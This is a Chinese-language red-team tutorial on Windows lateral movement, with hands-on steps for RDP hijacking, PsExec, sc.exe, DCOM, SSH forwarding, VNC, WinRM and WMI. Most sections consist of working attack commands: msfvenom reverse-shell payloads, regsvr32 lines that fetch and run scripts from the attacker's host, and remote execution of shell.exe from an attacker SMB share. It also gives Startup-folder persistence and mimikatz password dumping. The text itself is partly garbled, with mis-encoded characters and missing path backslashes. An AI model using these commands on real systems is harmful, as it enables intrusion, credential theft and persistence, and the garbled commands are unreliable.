橫向移動:遠程服務
介紹
在紅隊評估期間,在入侵完成后,攻擊者傾向于在網(wǎng)絡中橫向移動,以獲取有關(guān)其他系統(tǒng)的更多相關(guān)信息。這種橫向移動可以通過使用許多二進制文件/服務/進程來實現(xiàn)。在本文中,我們將僅關(guān)注使用遠程服務的橫向移動,即可以通過獲取無效憑據(jù)集來幫助在遠程系統(tǒng)上執(zhí)行代碼/命令的服務。通常,組織內(nèi)會使用同一套憑據(jù),這種橫向移動變得非常容易和有效。
背景
橫向移動非常有助于通過破壞更多系統(tǒng)來收集更多數(shù)據(jù),而不是僅僅依靠單個系統(tǒng)來獲得更高的權(quán)限并最終破壞整個網(wǎng)絡。
某些服務專門設計用于提供遠程會話,如果提供了有效的憑據(jù),它們就會接受連接。在域網(wǎng)絡中,這種基本身份驗證被 Kerberos 取代,但是,一組有效的憑據(jù)仍然可以在整個網(wǎng)絡和多個設備上使用。例如,人力資源管理員帳戶可以登錄到任何人力資源系統(tǒng),并且可以通過橫向移動以這種方式獲取更多數(shù)據(jù)。
本文的目的是通過利用最知名的遠程服務(包括 RDP、SSH 等)來演示盡可能多的方法。在本文的最后,我們將討論 mimikatz 和 wmi 等服務。這些服務本質(zhì)上使用一個或多個遠程服務組合來提供遠程會話。
讓我們首先從 RDP 開始,然后逐步轉(zhuǎn)向其他服務。
了解攻擊實驗室
對于本文,我手頭有兩個設置。一個是使用域“ignite.local”的 Active Directory 設置,另一個是在非域環(huán)境中通過橋接方式連接到 Kali 系統(tǒng)的簡單 2 個 Windows 設備。詳細信息如下:
通過 RDP 進行橫向移動
據(jù)Microsoft介紹,RDP 基于 T-120 系列協(xié)議標準,并且是其擴展。多通道協(xié)議允許單獨的虛擬通道承載以下信息:
演示數(shù)據(jù)
串行設備通信
許可信息
高度加密的數(shù)據(jù),例如鍵盤、鼠標活動
換句話說,它通過為用戶提供功能齊全的 GUI 讓用戶與遠程服務器進行通信。
使用任務管理器進行 RDP 劫持
當您連接到用戶“管理員”并打開任務管理器->轉(zhuǎn)到用戶->如果用戶“hex”當前已退出但存在,您就會看到此信息。
您可以點擊十六進制并選擇連接
任務管理器現(xiàn)在將要求用戶 hex 提供憑據(jù)
現(xiàn)在您已成功連接到 hex。可以在 cmd 中確認
使用 Tscon 進行 RDP 劫持
tscon 是 Windows Server 2012 版本中引入的 Microsoft Windows 實用程序。它用于連接到遠程桌面會話主機服務器上的另一個會話。它需要目標和會話 ID 才能工作。用戶憑據(jù)也可以作為 tscon 中的參數(shù)傳遞。在此處閱讀更多信息。
現(xiàn)在有趣的是,如果您設法獲得 SYSTEM 級權(quán)限 (NT AUTHORITYSYSTEM),則可以使用 tscon 切換 RDP 會話而無需密碼。這在舊版本的 Windows 10 上完美運行。在較新的版本中,仍然需要密碼。
因此,我們首先使用 psexec 在受感染的系統(tǒng)上獲得 NT AUTHORITYSYSTEM,然后查看交互式會話。我們切換到所需的會話(此處為 3 號),并使用 /DEST 開關(guān)將當前連接(rdp-tcp#9)切換到第 3 個會話中的用戶。
whoamipsexec64.exe -s cmdwhoamiquery usercmd /k tscon 3 /DEST:rdp-tcp#9
它會立即在同一個遠程桌面連接中打開一個新用戶“hex”!這可以通過 whoami 來驗證
使用 Mimikatz 進行 RDP 劫持
Mimikatz 包含一個模塊“ts”,用于處理 RDP 會話。它是 tscon 的實現(xiàn),但添加了 mimikatz 的功能。我們可以使用以下命令查看活動用戶會話
ts::sessions
我們在會話 ID 3 上有一個斷開連接的用戶十六進制。讓我們連接到它。我們使用 psexec 執(zhí)行的操作,mimikatz 通過使用令牌模擬來提升權(quán)限,自動執(zhí)行此操作。
privilege::debugtoken::elevatets::remote /id:3
然后您將看到用戶“hex”的遠程桌面!
SharpRDP 認證命令執(zhí)行
0xthirteen 開發(fā)了SharpRDP 工具,該工具提供了使用 RDP 作為服務執(zhí)行經(jīng)過身份驗證的命令的各種方法和技術(shù)。此方法不包括劫持遠程會話,而是使用登錄信息來提供代碼執(zhí)行。它通過利用 COM 庫和 mstscax.dll 來實現(xiàn)這一點。點擊此處了解更多信息。
首先,我們將創(chuàng)建一個有效載荷
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
接下來,我們將把這個文件托管在我們的 SMB 共享中。我們可以手動設置共享,也可以使用 Impacket 的 smbserver 設置一個名為“sharename”的臨時共享
smbserver.py sharename /root
現(xiàn)在,使用遠程用戶管理員的憑據(jù),我們可以通過下面的 UNC 路徑使用 SharpRDP 來執(zhí)行此 EXE 文件
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c 192.168.0.89sharenameshell.exe username=Administrator password=123
如你所見,遠程服務器訪問了我們的 SMB 服務器并獲取了文件
這樣我們就成功橫向移動了!
通過 SMB 進行橫向移動
SMB 是最廣泛使用的網(wǎng)絡協(xié)議之一,允許用戶通過網(wǎng)絡與遠程系統(tǒng)進行通信。通常,它用于共享文件、打印機,但通過利用可寫共享,它可用于執(zhí)行命令,并最終實現(xiàn)橫向移動。
PsExec SMB RCE
許多工具(如 psexec)都利用 SMB 執(zhí)行經(jīng)過身份驗證的命令。據(jù) Microsoft 稱,“PsExec 是一種輕量級的 telnet 替代品,可讓您在其他系統(tǒng)上執(zhí)行進程,并為控制臺應用程序提供完整的交互性,而無需手動安裝客戶端軟件。PsExec 最強大的用途包括在遠程系統(tǒng)上啟動交互式命令提示符和遠程啟用工具(如 IpConfig),否則這些工具無法顯示有關(guān)遠程系統(tǒng)的信息?!笔紫?,讓我們使用 impacket 的 smbserver 創(chuàng)建一個本地 SMB 共享,用于托管我們的惡意文件。此文件最終將被寫入遠程系統(tǒng)并執(zhí)行以獲得移動。
smbserver.py sharename /root
此后,我們將使用 msfvenom 創(chuàng)建惡意文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
現(xiàn)在,我們將使用受感染的系統(tǒng)并在其中上傳 psexec64.exe。然后,我們將使用以下命令在指定的主機中啟動我們的惡意文件。
psexec64.exe DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c 192.168.0.89sharenameshell.exe
如你所見,hex 已經(jīng)到達我們的 smb 共享并獲取了文件
至此,我們成功收到了反向 shell!
Sc.exe 進程創(chuàng)建
sc.exe 是隨 Windows 捆綁提供的命令行工具,提供維護和管理 Windows NT 服務的功能。這是一個非必需的系統(tǒng)進程,但它可用于創(chuàng)建進程并在其中執(zhí)行 DLL。在這里,我們將創(chuàng)建一個進程“ignite”,并使用 regsvr 方法在該進程中定義執(zhí)行 DLL。
首先,讓我們設置處理程序并使用 Metasploit 生成 regsvr 代碼。
use exploit/multi/script/web_deliveryset payload windows/x64/meterpreter/reverse_tcpset LHOST 192.168.0.89set LPORT 1234set target 3run
現(xiàn)在,我們獲得的 regsvr 代碼可以包含在 sc.exe binpath 命令中。以下命令將創(chuàng)建一個包含上述代碼的進程 ignite。然后啟動該進程。請注意,“DESKTOP-9GSGKO9”是目標 Windows 系統(tǒng),代碼將在該系統(tǒng)中執(zhí)行。
sc DESKTOP-9GSGKO9 create ignite binpath= "C:WindowsSystem32egsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"sc DESKTOP-9GSGKO9 start ignite
如您所見,已收到服務啟動失敗錯誤,但這是因為我們提供的 DLL 無效。它仍會執(zhí)行我們的 DLL 并為我們提供反向 shell!在這里,我們擁有遠程系統(tǒng)中可寫共享的管理員權(quán)限,因此我們獲得了 NT AUTHORITYSYSTEM 特權(quán),但根據(jù)您擁有的權(quán)限,這可能會有所不同。
Metasploit SMB 遠程 PsExec
Metasploit psexec 模塊存在,如果目標上的 SMB 可訪問且提供的憑據(jù)有效,則該模塊可以破壞遠程系統(tǒng)。這里,假設我們獲得了 SMB 憑據(jù) Administrator:123,我們可以在整個網(wǎng)絡中使用這些憑據(jù)并破壞具有相同憑據(jù)集的其他系統(tǒng)。在這里,您可以看到,我們將有效載荷設置為 meterpreter,成功執(zhí)行后,我們收到了一個 web shell!
use exploit/windows/smb/psexecset payload windows/x64/meterpreter/reverse_tcpset RHOSTS 192.168.0.119set SMBUSER Administratorset SMBPASS 123set LHOST 192.168.0.89set LPORT 4444exploit
Cmd.exe SMB 遠程代碼執(zhí)行
如果用戶對 C$、ADMIN$ 等關(guān)鍵共享具有寫訪問權(quán)限,則 Windows 中的 Cmd.exe 也能夠在遠程系統(tǒng)上執(zhí)行命令,cmd.exe 可以將文件復制到 C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp 等位置,并結(jié)合橫向移動獲得持久性。
但是,在這個例子中,我們將只運行一個簡單的 regsvr 命令并將其輸出寫入 ADMIN$ share 中名為 ignite 的文件中,以演示該命令的寫入功能。
use exploit/multi/script/web_deliveryset payload windows/x64/meterpreter/reverse_tcpset LHOST 192.168.0.89set LPORT 1234set target 3run
現(xiàn)在我們使用 cmd.exe 運行它
cmd.exe /Q /c "C:WindowsSystem32egsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> 127.0.0.1ADMIN$ignite 2>&1
這給了我們一個反向shell!
如您所見,輸出文件已在我們指定的遠程共享中創(chuàng)建。雖然沒有輸出,所以文件是空的,但它已經(jīng)創(chuàng)建了。
另一個例子是在受害者 192.168.0.120 的遠程共享中寫入一個 bat 文件,它將在 StartUp 中保存我們的有效載荷執(zhí)行命令,并且該命令將在下次系統(tǒng)重啟時執(zhí)行。
cmd.exe /Q /c "echo ‘cmd.exe /c 192.168.0.89sharenameshell.exe’" 1> 192.168.0.120C$ ProgramDataMicrosoftWindowsStart MenuProgramsStartUpignite.bat 2>&1
SharpMove.exe SMB RCE
0xthirteen 開發(fā)了一個名為SharpMove的 C# 腳本,該腳本利用許多不同的遠程服務來執(zhí)行代碼。它可以使用遠程系統(tǒng)上的 SMB 共享來執(zhí)行代碼。它還可以嘗試禁用 AMSI,這本身就是一個額外的好處。在此示例中,我們將通過在現(xiàn)有服務中輸入我們自己的代碼來對其進行修改。我們在演示 sc.exe 時剛剛創(chuàng)建了一個名為“ignite”的服務,讓我們來修改該服務。在主機名為“DESKTOP-9GSGK09”的系統(tǒng)上執(zhí)行可以按如下方式實現(xiàn):
SharpMove.exe action=modsvc computername=DESKTOP-9GSGKO9 command="cmd.exe /c 192.168.0.89sharenameshell.exe" amsi=true servicename=ignite username=Administrator password=123
可以看出,SharpMove.exe已經(jīng)更新了服務binpath,并且成功實現(xiàn)了反向shell。
通過 DCOM 進行橫向移動
據(jù)微軟介紹,“微軟組件對象模型 ( COM ) 是一個獨立于平臺的、分布式的、面向?qū)ο蟮南到y(tǒng),用于創(chuàng)建可交互的二進制軟件組件。COM 是微軟的 OLE(復合文檔)、ActiveX(支持 Internet 的組件)以及其他技術(shù)的基礎(chǔ)技術(shù)。
它不是一種編程語言,而是一種僅適用于已編譯為二進制代碼的標準。C++ 等編程語言提供了使用 COM 對象的簡單機制。C、Java 也實現(xiàn)了 COM?!?/span>
COM 對象是指通過一組或多組相關(guān)函數(shù)專門訪問對象數(shù)據(jù)的對象。這些函數(shù)集稱為接口,接口的函數(shù)稱為方法。此外,COM 要求訪問接口方法的唯一方法是通過指向接口的指針。換句話說,COM 通過實現(xiàn)可以調(diào)用 DLL 和 EXE 的對象,使二進制文件能夠與其他軟件對象或可執(zhí)行文件交互。DCOM ( 分布式 COM)是一種中間件,它使用遠程過程調(diào)用 (RPC) 技術(shù)將 COM 的功能擴展到本地計算機之外。
默認情況下,只有管理員可以通過 DCOM 遠程激活和啟動 COM 對象
DCOM 可以執(zhí)行 Office 文檔中的宏,還可以遠程與 WMI 交互,從而使受攻擊的域面臨各種各樣的攻擊。
請注意,此攻擊適用于已加入域的系統(tǒng)。默認情況下,DCOM 遠程處理不適用于跨網(wǎng)絡。要啟用 DCOM 遠程處理,需要一些神奇的代碼,但這不在本文的討論范圍內(nèi)。(不過,我已經(jīng)這樣做了,并且正在使用未加入域的系統(tǒng)來執(zhí)行此操作)
Mmc20.應用程序遠程DCOM
您可以使用 Microsoft 管理控制臺 (MMC) 創(chuàng)建、保存和打開管理工具(稱為控制臺),這些工具用于管理 Microsoft Windows 操作系統(tǒng)的硬件、軟件和網(wǎng)絡組件。MMC 可在當前支持的所有客戶端操作系統(tǒng)上運行。這里使用的是Enigma0x3 的方法(參見此處)。
首先,讓我們使用 powershell 查看 mmc20.application 的注冊表項。ProgID 是遠程系統(tǒng)中創(chuàng)建實例所必需的。接下來,我們將使用 Powershell 在目標系統(tǒng) (192.168.0.119) 上創(chuàng)建此程序 mmc20 的新實例。
Get-ChildItem 'registry::HKEY_CLASSES_ROOTWOW6432NodeCLSID{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))
我們創(chuàng)建了一個名為 $dcom 的對象,它生成 mmc 可以執(zhí)行的不同函數(shù)。其中一個是 ExecuteShellCommand
我們將使用此函數(shù)對所創(chuàng)建的遠程 DCOM 對象執(zhí)行命令。
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c 192.168.0.89sharenameshell.exe > output.txt","7")
成功執(zhí)行后,我們會看到 SMB 服務器上有一個命中,可執(zhí)行文件被獲取并執(zhí)行
這給了我們一個很好的反向外殼,因此橫向移動已經(jīng)實現(xiàn)!
通過 SSH 進行橫向移動
SSH 是最廣泛使用的跨平臺協(xié)議,它允許用戶連接到遠程會話并允許文件復制。企業(yè)環(huán)境中通常會使用不同的子網(wǎng),由于防火墻限制或網(wǎng)絡接口不同,攻擊者可能無法直接訪問這些子網(wǎng)。在這種情況下,通過 SSH 橫向移動可以為攻擊者提供多種選擇。讓我們看看一些方法。
SSH 端口轉(zhuǎn)發(fā)
有關(guān)全面的用例和端口轉(zhuǎn)發(fā)指南,我強烈建議閱讀這篇 文章。我們在這里采用一個簡單的場景。我們的目標服務器具有以下 IP 地址和用戶名
現(xiàn)在,我們已成功攻陷用戶名為“hex”的系統(tǒng),該系統(tǒng)有 2 個網(wǎng)卡。一個與我們的攻擊者機器在同一個網(wǎng)絡上,另一個在我們的目標服務器的網(wǎng)絡上。
正如您所看到的,我們的攻擊者機器與目的地位于不同的子網(wǎng),并且我們的 ping 無法到達,因此無法直接訪問。
要設置本地端口轉(zhuǎn)發(fā),使我們能夠?qū)⑻囟ǘ丝诘娜魏蝹魅肓髁恐囟ㄏ虻侥繕朔掌?,我們遵循以下模式?/span>
ssh -L 本地端口:目標IP:目標端口 被泄露用戶名@被泄露服務器
此后,我們必須指定十六進制的密碼。
ssh -L 7000:192.168.179.130:22 hex@192.168.0.119
設置成功后,我們現(xiàn)在就可以連接到目標服務器了!首先,確保 known_hosts 文件中沒有預先存在的 localhost 條目(使用 ssh-keygen -R)
ssh-keygen -R 127.0.0.1ssh server@127.0.0.1 -p 7000
如您所見,我們已經(jīng)成功連接到目的地!
通過 VNC 進行橫向移動
VNC 或虛擬網(wǎng)絡計算是一種使用遠程幀緩沖區(qū)協(xié)議實現(xiàn)對另一個系統(tǒng)的圖形遠程訪問的服務。這是一個交互式會話,因為用戶可以通過 VNC 向原始系統(tǒng)提供鼠標和鍵盤輸入。這樣的定義似乎與我們之前討論過的遠程桌面協(xié)議非常相似,但兩者之間存在顯著差異。VNC 是獨立于平臺的,這意味著它可以與 Linux 和 Windows 一起使用,而 RDP 只能在兩臺 Windows 計算機之間工作。
據(jù) MITRE 稱,“攻擊者可能會濫用 VNC 以登錄用戶的身份執(zhí)行惡意操作,例如打開文檔、下載文件和運行任意命令。攻擊者可以使用 VNC 遠程控制和監(jiān)視系統(tǒng),以收集數(shù)據(jù)和信息,然后轉(zhuǎn)向網(wǎng)絡內(nèi)的其他系統(tǒng)。”
讓我們看一下其中一種方法。
VNCinject 有效載荷
Vncinject 是一種可與 msfvenom 配合使用的有效載荷,它會在攻擊者系統(tǒng)上安裝反射式 vnc DLL 并重新連接到攻擊者系統(tǒng)。需要注意的是,為了利用此載荷進一步進行橫向移動,可以將其保存在共享中,并可以使用 psexec 等遠程執(zhí)行方法。
首先,我們創(chuàng)建一個有效載荷,并將其托管在我們的 Web 服務器中,以便在系統(tǒng)上下載并執(zhí)行
msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.4 lport=4532 -f exe > vnc.exe
現(xiàn)在,我們讓受害者執(zhí)行此有效載荷。這可以通過發(fā)送釣魚鏈接等來完成。為簡單起見,我們僅使用 powershell wget 來下載并執(zhí)行(模擬)
powershell wget 192.168.1.4/vnc.exe -O vnc.exevnc.exe
現(xiàn)在我們設置 multi/handler 并等待回調(diào)。成功執(zhí)行后,我們會在控制臺中收到回調(diào)
use multi/handlerset payload windows/x64/vncinject/reverse_tcpset lhost 192.168.1.4set lport 4532run
不久之后,我們將收到一個成熟的 VNC 會話,并且橫向移動現(xiàn)已實現(xiàn)!
通過 WinRM 進行橫向移動
WinRM 是一個命令行工具,它使管理員能夠使用 WS-Management 協(xié)議遠程執(zhí)行 CMD.exe 命令。此規(guī)范描述了一種基于 SOAP 的通用協(xié)議,用于管理系統(tǒng)(例如 PC、服務器、設備、Web 服務、其他應用程序和其他可管理實體)。它使用端口 5985 進行 HTTP 傳輸,使用端口 5986 進行 HTTPS 傳輸。
在 Windows 操作系統(tǒng)的服務器和客戶端版本上,Enable-PSRemoting 允許管理員通過 WinRM 服務使用 Powershell 訪問私有網(wǎng)絡和域網(wǎng)絡的遠程 shell。
在此處 閱讀有關(guān) WinRM的 Microsoft 文檔
首先,要設置 WinRM,我們只需要在 Admin Powershell 窗口中執(zhí)行以下命令。這將啟用 winrm、允許 HTTP 連接(默認情況下,系統(tǒng)中沒有用于 HTTPS 的 SSL 證書)并通過將所有用戶添加到受信任的主機中來允許所有用戶。
Enable-PSRemoting -Forcewinrm quickconfigwinrm set winrm/config/service '@{AllowUnencrypted="true"}'Set-Item WSMan:localhostclient rustedhosts -value *
于 WinRM 服務,我們也可以像這樣手動遍歷配置并設置/更改任何值。
cd WSMan:localhostClientset-item .allowunencrypted $true
對于域環(huán)境,由于 Kerberos,WinRS 等工具通常無法工作。因此,我們需要激活基本身份驗證機制。
set-itemWSMan:localhostServiceAuthBasic $trueset-itemWSMan:localhostServiceAllowUnencrypted $true
新PSSession Powershell
powershell 中的 New-PSSession 命令創(chuàng)建一個新的持久 powershell 遠程會話。通過提供遠程憑據(jù),您會看到我們已連接到服務器。在一個系統(tǒng)可以訪問目標/目標服務器并且我們需要連接到它但攻擊者系統(tǒng)無法訪問它的情況下很有用。
我們可以進一步執(zhí)行保存在 SMB 共享中的惡意可執(zhí)行文件,以進行進一步的橫向移動。
New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)Enter-PSSession 2cmd.exe /c 192.168.1.4sharenameshell.exe
你看,現(xiàn)在服務器已經(jīng)繞過了防火墻的傳入連接,而防火墻限制用戶連接到它。我們讓服務器連接到我們!
它給了我們一個整潔的反向shell!
調(diào)用命令 Powershell
Invoke-Command 是 Powershell 中的一個 cmdlet,它使用 WinRM 互操作性在遠程系統(tǒng)上運行指定的命令。管理員使用它來自動安裝工具/軟件等。但它也可以用于橫向移動。通過在“scriptblock”中指定我們的命令,我們可以執(zhí)行它。“-Credential”標志允許用戶輸入憑據(jù),也可以通過創(chuàng)建一個塊并將其提供給 STDIN 來替換該憑據(jù)。
調(diào)用命令 dc1.ignite.local -Credential $cred -ScriptBlock {cmd.exe /c 192.168.1.4sharenameshell.exe}
這給了我們一個健康的殼!
Winrs
Winrs 代表 Windows 遠程 Shell,與 New-PSSession 相同。它自 Windows Server 2008 以來就一直存在。Winrs 可用于在遠程系統(tǒng)上執(zhí)行代碼。它僅使用基本身份驗證。因此,保存在我們 smbshare 中的 shell.exe 可以這樣執(zhí)行:
winrs /r:dc1 /username:Administrator /password:Ignite@987 "cmd.exe /c 192.168.1.4sharenameshell.exe"
這成功給了我們一個反向shell!
Evil-Winrm
Evil-WinRM 是一款非常流行的工具,Red Teamers 使用它通過 WinRM 在網(wǎng)絡進行橫向移動。在后臺,它還使用 Windows 遠程 shell 功能,但在此基礎(chǔ)上添加了一些漂亮的功能。它用 ruby 編寫,可以使用gem install evil-winrm 安裝。安裝后,它可以用于連接到遠程服務器,例如:
evil-winrm-i 192.168.1.2 -u Administrator -p 'Ignite@987'
現(xiàn)在,我在 /root 下創(chuàng)建了一個名為 binaries 的文件夾,其中包含一個 Mimikatz powershell 腳本(在此處找到)。
Evil-WinRM 可以上傳這些 powershell 腳本(保存在文件夾中),讓我們執(zhí)行其 powershell 函數(shù)!為此,我們使用 -s 并提供二進制文件夾的路徑。此后,我們可以使用 Invoke-Mimikatz,如您所見,mimikatz 已運行并在服務器中轉(zhuǎn)儲緩存的密碼。
evil-winrm-i 192.168.1.2 -u Administrator -p 'Ignite@987' -s '/root/binaries'Invoke-Mimikatz.ps1Invoke-Mimikatz
通過 Mimikatz 進行橫向移動
Mimikatz 包含許多有助于橫向移動的選項。其中之一就是轉(zhuǎn)儲密碼。我們可以使用 sekurlsa 模塊來實現(xiàn)這一點:
privilege::debugsekurlsa::logonpasswords
這些哈??梢赃M一步與 psexec 一起使用來傳遞哈希攻擊!
通過 WMI 進行橫向移動
WMI 命令行 (WMIC) 實用程序為 Windows 管理規(guī)范 (WMI) 提供了命令行界面。WMIC 與現(xiàn)有的 shell 和實用程序命令兼容。Wmi 還可用于遠程執(zhí)行命令。這是通過使用 /node 標志實現(xiàn)的。例如,在下面的示例中,我們正在創(chuàng)建一個新的進程調(diào)用,它將執(zhí)行保存在節(jié)點 192.168.1.2 上的 SMB 服務器中的 shell
wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c 192.168.1.4sharenameshell.exe"
可以看到,執(zhí)行成功,我們收到了一個反向shell
通過 Invoke-WmiMethod 進行橫向移動
對于 Windows 中以二進制形式存在的任何良好實用程序,Microsoft 已為其創(chuàng)建了等效的 powershell cmdlet。Invoke-WmiMethod 是一個 cmdlet,其功能與上例中的 wmic 相同。PS 5.1+ 中較新的 Invoke-CimMethod 執(zhí)行相同的操作。請參閱此處。
要使用 CLI 中的 Invoke-WmiMethod,我們需要編寫一個命令。感謝@spotheplanet提供的這項技術(shù)。我們也可以使用通用的 Invoke-WmiMethod,但它需要 GUI,而在紅隊場景中我們通常沒有 GUI。
在這種技術(shù)中,我們將創(chuàng)建一個惡意 MSI 文件,并將其安裝在目標服務器中。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=1337 -f msi > shell.msi
現(xiàn)在,在受感染受害者的 CLI 中,我們輸入以下命令。此命令基本上為 Invoke-WmiMethod 提供憑證(Administrator:Ignite@987)并安裝一個放在我們的 SMB 共享中的 MSI 文件。
$username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","192.168.1.4sharenameshell.msi") -ComputerName dc1 -Credential $credential
在我們的反向監(jiān)聽器上,你可以看到一個穩(wěn)定的 shell 現(xiàn)在已經(jīng)彈出!
結(jié)論
橫向移動是紅隊演習中必不可少的一步,因為它會導致權(quán)限提升和網(wǎng)絡入侵。本文討論了遠程服務以及如何在紅隊評估期間將它們用于橫向移動場景。這些服務本身就具有與遠程系統(tǒng)交互的能力。我們在文章中演示了此類技術(shù)。